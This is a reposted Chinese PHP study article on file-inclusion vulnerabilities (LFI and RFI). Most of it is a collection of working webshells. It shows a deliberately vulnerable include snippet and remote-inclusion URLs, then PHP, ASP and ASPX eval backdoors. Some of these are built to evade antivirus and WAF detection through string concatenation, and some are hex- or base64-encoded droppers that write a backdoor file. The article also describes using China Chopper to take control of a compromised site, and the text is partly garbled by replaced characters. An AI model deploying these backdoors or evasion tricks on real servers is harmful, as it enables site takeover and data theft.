IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 【无标题】 -> 正文阅读

[PHP知识库]【无标题】

文件包含:

宗旨:将任何的php?件或者?php?件利?函数包含进php?件之后都会被当作php代码解析

PHP提供?些函数来进?各个?件之间的相互引?,并提供了?些协议?于读取或者写??件

特殊文件包含:

最常见的:

include('flag.php')? 包含 flag.php 文件

 php代码执行的时候会写去访问flag.php,就好似把flag.php文件全部放在了当前文件,并
且执行包含后的这个文件==============>不仅包含也会执行

其他函数:

include、require、include_once、require_once、
highlight_file、show_source、file_get_contents、fopen、file、readfile

include_once():功能与include相同,区别在于当重复调用同一文件时,程序只调用一次

require():require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。

require_once():功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。

#各种语言文件包含
#ASP ASPX PHP JSP Python Javaweb
<c:import url="http://...">
<jsp:include page="head.jsp"/>
<%@ include file="head.jsp"%>
<?php include ('test.php') ?>

分类:本地包含和远程包含

本地文件包含(LFI):可以读取与打开本地文件

远程文件包含(RFI)(HTTP,FTP,PHP伪协议):可以远程加载文件

php.ini文件:
本地:allow_url_fopen=On/Off
远程:allow_url_include=On/Off
<?php
if(isset($_GET['path'])){
include $_GET['path'];
}else{
echo "?path=info.php";
}
?>
本地:可通过相对路径方式找到文件
?path=info.php
远程:可通过http(s)或者ftp等方式远程加载文件
?path=http://......info.php
?path=ftp://......info.php

allow_url_fopen = On allow_url_include = On

本地文件包含:通过浏览器包含web服务器上的?件,这种漏洞是因为浏览器包含 ?件时没有进?严格的过滤允许遍历?录的字符注?浏览器并执?;仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。

远程文件包含:就是允许攻击者包含?个远程的?件,?般是在远程服务器上预先设 置好的脚本。 此漏洞是因为浏览器对?户的输?没有进?检查,导致不同程度的信 息泄露、拒绝服务攻击 甚?在?标服务器上执?代码。能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码。

?path=http://192.168.158.119/phpinfo.php

?1.包含一句话木马:

将?句话写在?个?件中上传之后,在可以包含?件的php??包含该?件,直接利??句话

常见的一句话

eval:

  • 用来执行任意php代码
  • 用法:
 <?php
 eval($_POST[1]);
 //1=system(ls);
 ?>
 <?php @eval($_POST['attack']);?>

基本原理】利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过中国菜刀chopper.exe即可获取和控制整个网站目录。@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。$_POST['attack']表示从页面中获得attack这个参数值。

【入侵条件】:只要攻击者满足三个条件,就能实现成功入侵:

(1)木马上传成功,未被杀;
(2)知道木马的路径在哪;
(3)上传的木马能正常运行。

(一句话木马)

最常见的木马:?

php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是:   <%eval request ("pass")%>
aspx的一句话是:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

防爆破木马:

<?php
substr(md5($_REQUEST['x']),28)=='6862'&&eval($_REQUEST['password']);
?>
x=myh0st

过狗一句话:

<?php
($_=@$_GET[s]).@$_($_POST[hihack])
?> //s=assert
<?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST[hihack]);
?>//将敏感函数通过.链接防止被检测

例:

?

【这里explode函数把字符串poc按#分隔开并映到poc_1数组中去;

然后poc_2再把他们连接起来,总的来说就是把poc中的#去掉,变成一个新的字符串赋值给poc_2;

可以看出,poc_2是assert,然后我们来看最后一句话,它现在变成了一个函数,即:

? ? assert($_GET['s'])

而assert函数功能跟eval类似,可以把里面的内容当作代码来执行,考虑扫描目录下的文件,构造payload:

?s=print_r(scandir('./'));可以把当前目录下的文件或者目录以数组的形式显示出来;

其中123.php、index.php、test.php都是用御剑扫描出来过并没有发现什么东西的,但是有一个十分可疑的f14g.txt,于是访问:得到flag:

?】

不用?的一句话

 <script language="php">eval ($_POST[hihack]);</script>

不用eval的一句话:

<?php
 assert($_POST[1]);
 ?>
 //具体看web1中的执行PHP代码函数的讲解

变形一句话后门:

<!--?php fputs (fopen(pack("H*","6c6f7374776f6c662e706870"),"w"),pack("H
*","3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e"))?-->
pack:pack(string $format, mixed ...$values): string //将输入参数打包成 form
at 格式的二进制字符串。
 6c6f7374776f6c662e706870//lostwolf.php
3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e//<?@eval($_POST[los
twolf])?>

<!--?php @fputs(fopen(base64_decode('bXloMHN0LnBocA=='),w),base64_decode
('PD9waHAgQGV2YWwoJF9QT1NUWydoaWhhY2snXSk7Pz4='));?-->

pack-----format代表的格式

format字符串由格式代码组成,后面跟着一个可选的重复参数。重复参数可以是一个整数值或者?*?值来重复到输入数据的末尾。对于 a, A, h, H 格式化代码,其后的重复参数指定了给定数据将会被使用几个字符串。对于 @,其后的数字表示放置剩余数据的绝对定位(之前的数据将会被空字符串填充),对于其他所有内容,重复数量指定消耗多少个数据参数并将其打包到生成的二进制字符串中。

灭杀一句话:

<!--?php $x="as"."se"."rt";$x($_POST["pass"]);?-->

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-02-16 12:50:44  更:2022-02-16 12:51:58 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 11:03:23-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码